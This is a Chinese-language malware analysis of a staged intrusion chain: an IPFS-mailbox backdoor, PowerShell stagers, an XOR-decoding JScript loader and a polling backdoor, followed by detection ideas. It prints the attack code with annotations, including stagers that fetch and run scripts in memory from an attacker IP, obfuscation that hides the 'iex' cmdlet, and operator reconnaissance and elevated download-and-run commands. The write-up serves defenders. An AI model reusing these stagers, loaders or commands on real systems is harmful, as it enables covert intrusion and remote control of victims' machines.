沒有傳統 C2 伺服器也能控制後門?
摘要
這項研究檢視 Volant Manticore 入侵組織的執行鏈,其中的小型 Native API 後門會在記憶體中的 Script Framework 傳送之前,先充當偵察階段的檢查關卡 [1] 。我們分析 內容定址存儲(content-addressed storage) 如何被重新利用為命令信箱、PowerShell Loader 如何在執行階段解碼並編譯 JScript payload,以及最終階段的迴圈如何依據前綴分派命令。文章透過五段程式碼、三張循序圖整理訊息流程,並將研究結果轉化為偵測方向。
1. 簡介
分階段入侵鏈會讓每個元件維持精簡、可拋棄,而且單獨看起來都不起眼。這裡研究的執行鏈包含四個環節:名為 KuboShell 的原生 Windows 入侵據點、一行式 PowerShell stager、負責編譯 JScript 的 PowerShell Loader,以及隸屬於 Homa Framework 的 JavaScript 後門 [1] 。前面的環節主要用來評估主機環境,並延後暴露功能完整的 payload。理解各環節之間的交接方式,比單獨分析任何一項指標更有價值,因為位址與檔案名稱會不斷變動,但整體結構卻維持不變。
2. KuboShell:以內容定址的信箱
KuboShell 是一個 64 位元 Windows 後門,其命令通道建立在 星際檔案系統(InterPlanetary File System,IPFS) 之上。這是一種透過 內容雜湊值 而非位置來定址檔案的網路。只有在某個節點固定保留檔案時,內容才能持續被存取,因此這個植入程式仰賴商業 Pinning Service ,以及一組 hardcoded 的存取 Token。啟動時,它會檢查是否具有系統管理員權限;如果沒有,就重新啟動自身以觸發權限提升提示。它使用第一張網路介面卡的 MAC 位址作為受害者識別碼,並上傳一個包含單字 hi 的檔案來完成註冊。之後,程式會透過服務的公開閘道,取得以相同識別碼命名的命令檔案,並將內容傳送至隱藏的 PowerShell 視窗執行。只有當命令本身將結果寫入預先定義的檔案時,執行結果才會被上傳。整個循環每隔 60 秒重複一次 [1] 。
從架構角度來看,操作者在這個階段完全不需要執行 Listener。共用儲存帳戶就是一個信箱,每台主機各自擁有一個輸入物件與一個輸出物件。對防禦方而言,看到的只是連往合法 API 的一般 HTTPS 流量,因此以信譽為基礎的封鎖機制效果有限。
圖 1. KuboShell 以信箱形式進行命令交換的流程。
從這個信箱還原的命令歷史紀錄,顯示了這個入侵據點的實際用途。在執行任何大型 payload 之前,攻擊者會先進行偵察,包括檢查路由、網域系統管理員群組成員資格、服務記錄查詢與連線表。這支持了將 KuboShell 視為一道防護關卡的判斷,讓操作者能先評估環境,再決定是否部署功能更完整的元件 [1] 。其中三個項目( list 、 payload 、 persist )並不是有效的 PowerShell 指令,而是模組化 Framework 的命令。這些都是某個模組化框架的指令,這表示操作者可能把指令輸入到了錯誤的主控台,也顯示在這個簡單的 JavaScript 後門之上還存在一層功能更完整的框架。
- # Code 1 - operator command history recovered from the mailbox, annotated line by line
- # Framework command typed into PowerShell by mistake: would list loaded modules or sessions
- list
- # Framework command typed into PowerShell by mistake: would request a payload to be sent
- payload
- # Framework command typed into PowerShell by mistake: would install persistence
- persist
- # Valid PowerShell: dumps session variables to learn about the runtime environment
- Get-Variable
- # Prints the routing table to learn which networks the host can reach
- route print
- # Enumerates members of the domain administrators group in the directory
- net group "domain admins" /domain
- # Queries service records for Kerberos servers, which reveals domain controllers
- nslookup -q=srv _kerberos._tcp
- # Sends two echo requests and resolves the name of an internal address
- ping 10.40.0.174 -n 2 -a
- # Lists network connections and listening ports with numeric addresses
- netstat -nat
- # Next line downloads an installer script to the temp folder and starts it elevated with policy bypass
- Invoke-WebRequest -Uri 'hxxps://remote.medochomie[.]com/api/ClientDownloads/WindowsInstaller/0f3db892-22d4-4479-a7ec-e54a375bd19c' -OutFile "${env:TEMP}\Install-Remotely.ps1" -UseBasicParsing; Start-Process -FilePath 'powershell.exe' -ArgumentList ("-executionpolicy", "bypass", "-f", "${env:TEMP}\Install-Remotely.ps1") -Verb RunAs;
3. Stager 與 Loader
第一階段(Stage 1)會向固定位址發出單一 Request,並使用每個用戶端專屬的 Path,接著直接在記憶體中執行 Response(Code 2)。不同變體會將位址拆成多個字串片段再串接,以避開 Signature 比對;也會利用內建變數中不同字元的位置,組合出執行 Cmdlet 的名稱(Code 3)。依照我們的分析,預設的
$PSSessionConfigurationName
值中,第 16 與第 10 個位置分別是字母
i
和
e
,再加上字面值
x
,就會組成
iex
。Cmdlet 名稱不會直接以字串形式出現,因此關鍵字規則可能無法偵測,但針對動態運算式評估行為的規則仍然有效
[1]
。
- # Code 2 - Stage 1 stager, reformatted to one statement per line
- # Build the URL: fixed address and port, path is the unique client ID
- $uri ="http://185.205.187[.]109:8000/{UID}";
- # Send an HTTP GET; stop immediately on any error so no partial content is run
- $response = Invoke-WebRequest -Uri $uri -Method GET -ErrorAction Stop;
- # Execute the downloaded text directly in memory, so nothing is written to disk
- Invoke-Expression $response.Content
- # Code 3 - obfuscated Stage 1 variant, reformatted to one statement per line
- # Rebuild the URL from string fragments so the address is not visible as one token
- $uri ="http://"+"185"+"."+"205"+"."+"187"+"."+"109"+":8000/{UID}";
- # Create a .NET web request object for that URL
- $req = [System.Net.WebRequest]::Create($uri);
- # Assemble the text of a method call in pieces to defeat keyword matching
- $rgr = '$re' + 'q.GetRe' + 'sponse()';
- # Characters 16 and 10 of the variable plus x spell the evaluation cmdlet; the dot operator invokes it on the text
- $res = .($PSSessionConfigurationName[16] + $PSSessionConfigurationName[10] + 'x') $rgr;
- # Assemble a second method-call string in pieces
- $rger = '$res.GetR' + 'espon' + 'seStream()';
- # Evaluate it with the same hidden cmdlet name to obtain the response stream
- $strm = .($PSSessionConfigurationName[16] + $PSSessionConfigurationName[10] + 'x') $rger ;
- # Wrap the stream in a reader so text can be consumed
- $reader = New-Object System.IO.StreamReader($strm);
- # Read the complete response body into a string
- $content = $reader.ReadToEnd();
- # Evaluate the received script with the hidden cmdlet name
- .($PSSessionConfigurationName[16] + $PSSessionConfigurationName[10] + 'x') $content
第二階段(Stage 2)會將下一個 payload 隱藏為由三位數十進位數字組成的字串。Loader 會移除換行字元,將每三個字元轉換成一個數值,再與字母
o
的字元代碼進行 XOR,最後將解碼後的文字透過 JScript 選項傳給
Add-Type
,並呼叫靜態
run
方法(Code 4)。外層迴圈在發生例外時,會使用不同的型別名稱重新編譯。這可能是因為同一個 Session 中無法重新定義相同的型別名稱。最終結果是在 PowerShell 程序內部編譯出一個 JScript 植入程式。
- # Code 4 - Stage 2 loader, annotated line by line
- # Define a decoder function
- function Xor-Decode {
- # Accept the encoded text as a string parameter
- param ([string]$EncodedText)
- # Key is the numeric code of the character o (111)
- $key = [int][char]'o'
- # Start with an empty output string
- $result = ""
- # Remove carriage returns and line feeds from the encoded text
- $clean = ($EncodedText -replace "`r|`n", "")
- # Walk the text three characters at a time
- for ($i = 0; $i -lt $clean.Length; $i += 3) {
- # Read one three-digit decimal value
- $num = [int]$clean.Substring($i, 3)
- # XOR with the key and convert the result back to a character
- $result += [char]($num -bxor $key)
- }
- # Return the decoded source text
- return $result
- }
- # Encoded payload string (truncated here)
- $src = "079079079079028027014027006012..."
- # Decode the payload into JScript source
- $dec = Xor-Decode $src
- # Repeat forever so the implant restarts if it ever returns
- while($true) {
- # Try the first compilation attempt
- try {
- # Compile the JScript as a .NET type and select the second returned type
- $jsc = (add-type -language JScript -MemberDefinition $dec -PassThru -Name 'jsc35')[1]
- # Call the static run method, which contains the backdoor loop
- $jsc::run()
- }
- # On failure, retry
- catch {
- # Compile again under a different type name to avoid a name clash
- $jsc = (add-type -language JScript -MemberDefinition $dec -PassThru -Name 'jsc36')[1]
- # Call run again
- $jsc::run()
- }
- }
4. Stage 3 通訊協定
Stage 3 植入程式會持續執行永久迴圈(Code 5)。它透過 WinHttp COM 物件,將
hi
傳送至由字母 X 與每位受害者專屬的五個字元 key 組成的 Path。伺服器會檢查該物件的預設 User-Agent。Request Body 的格式為 content、空的一對括號,接著是 key。Response 會移除頭尾各一個字元,任何長度超過兩個字元的命令都會被執行。命令依據前綴分派:以
function
開頭的文字會在隱藏的 PowerShell 中執行,並略過執行原則;以
ssh
開頭的文字會透過命令直譯器非同步啟動,避免長時間執行的 Tunnel 阻塞 Polling;其他內容則透過
cmd /c
執行,輸出重新導向至暫存檔案,再由程式讀取、清理、刪除,最後回傳至伺服器。每次迴圈之間會暫停十秒
[1]
。這套固定的 Request 格式是整條執行鏈最具辨識度的網路特徵。
圖 2. 執行鏈四個環節之間的交接流程。
- // Code 5 - Stage 3 JScript backdoor excerpt, annotated line by line
- // Static method that wraps one HTTP exchange with the server
- static function httppost(content, key) {
- // Guard the network code so failures do not stop the loop
- try
- {
- // Create the WinHttp COM object; its default User-Agent is what the server checks
- var objHTTP = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
- // Path is the letter X plus the per-victim key
- var url = "http://185.205.187[.]109:8000/X" + key;
- // Body format is content, an empty pair of parentheses, then the key
- var data = content + "()" + key;
- // Open a synchronous POST request
- objHTTP.Open("POST", url, false);
- // Send the body
- objHTTP.Send(data);
- // Read the server reply as text
- var res = objHTTP.responseText;
- // Remove the first and last character of the reply
- res = res.slice(1, -1);
- // Hand the cleaned reply to the caller
- return res;
- }
- // Error handling elided in the excerpt
- ...
- }
- // Static entry point called by the PowerShell loader
- static function run() {
- // Setup code elided in the excerpt
- ...
- // Endless command loop
- while(true)
- {
- // Elided code
- ...
- // Send the greeting hi; the reply is the next command
- var cmd = httppost("hi", key);
- // Treat replies longer than two characters as real commands
- if (cmd.length > 2) {
- // Execute the command through the prefix dispatcher ex()
- result = ex(cmd);
- }
- // Elided code
- ...
- // Only report back when there is output to send
- if(result.length > 2) {
- // Post the output using the same grammar
- result = httppost(result, key);
- }
- // Pause before the next iteration
- sleep();
- }
- }
5. 以文件為媒介的進入點
較早期的變體會從啟用巨集的 Word 檔案開始執行。使用者啟用內容後,巨集會將
AccessVBOM
registry value 設為 1,以取得程式化存取 VBA 專案的權限;接著開啟隱藏的 Word instance,從數百個編碼片段重新組合第二階段,並將其注入其中。隨後,所有其他
WINWORD.EXE
程序都會被終止,因此使用者只會看到類似當機的現象,而隱藏的 instance 則繼續執行。後門會產生一組隨機的十個字元識別碼,並使用一般 HTTP Endpoint。這些 Endpoint 的名稱是 Base64 字串,解碼後分別為
signup
、
update
和
result
,每次 Polling 之間會等待 20 秒。以
$uri
或
$req
開頭的命令會交由隱藏的 PowerShell 執行,但不會回傳輸出結果。這與 Stage 1 stager 的變數名稱相符,顯示它可能會將控制權交接給相同的 Framework。大型檔案會以編號片段傳送,並透過 Response Header 指定檔案名稱
[1]
。
圖 3. 巨集後門的 Polling 邏輯。
6. 與已公開 Script 植入程式的比較
以 Script Wrapper 包裝 PowerShell beacon 並不是新技術。較早期工具組的公開惡意程式分析指出,其中的 JavaScript 檔案包含 PowerShell beacon,會從伺服器取得加密命令 [2] 。2021 年的一個 PowerShell 後門同樣使用 XOR 加密其通訊流量,透過系統 UUID 識別主機,並在 Runspace 中執行 [3] 。這裡研究的執行鏈則有所不同,它使用衍生自 MAC 的識別碼或五個字元的 key、經過編譯的 JScript 階段,以及 Pinning Service 信箱;但其 Request 格式與較早期的命令與控制用戶端家族相符 [1] 。
7. 輔助工具
一般商用遠端管理代理程式(NetLock RMM、MeshCentral、N-able)會與後門一起部署,或取代後門使用;以郵件為主題的子網域搭配釣魚活動服務,則顯示攻擊者可能正在竊取認證資訊。操作者的虛擬機器顯示使用了 VirtualBox 與 VMware Guest、VPN 介面卡,以及一套疑似用來在正式使用前測試工具的防毒產品 [1] 。合法的管理軟體是很有效的偽裝方式,因為其執行檔與網路流量通常預設就會受到信任。
8. 偵測機會
- 非瀏覽器程序連線至 Pinning Service API 或公開 IPFS Gateway。
- 以 MAC 位址命名的檔案,副檔名為 .log 或 re.txt ,或是位於公開使用者設定檔資料夾中的 outputt2.txt 。
-
PowerShell 呼叫
Add-Type -Language JScript,或透過重新組合 Cmdlet 名稱來評估 Web 內容。 - 透過 WinHttp COM 物件傳送 POST Request 至 /X 加上五個字元的 Path,且 Body 以 () 和相同的 key 結尾。
-
寫入
AccessVBOM值後,接著大量終止 Word 程序。 - 固定的 Beacon 間隔為 10、20 與 60 秒。
9. 結論
這條執行鏈透過多層小型且看似合法的機制達成目的:利用受信任的儲存服務建立初始入侵據點、透過僅在記憶體中執行的 Script 階段取得功能,並使用依據前綴分派的方式提高彈性。整體結構比各項指標更為穩定,因此針對不同階段交接行為進行偵測,能提供最佳的長期防護效果。